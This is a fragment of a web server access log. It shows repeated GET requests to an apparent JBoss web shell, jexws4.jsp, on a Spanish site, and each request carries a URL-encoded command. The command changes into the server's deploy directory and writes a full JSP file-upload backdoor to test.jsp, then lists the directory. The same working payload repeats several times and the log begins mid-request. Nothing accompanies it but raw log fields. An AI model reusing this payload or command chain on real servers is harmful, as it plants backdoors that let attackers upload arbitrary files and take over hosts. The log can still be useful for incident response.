s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782865229 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782859087 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S782853056 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBy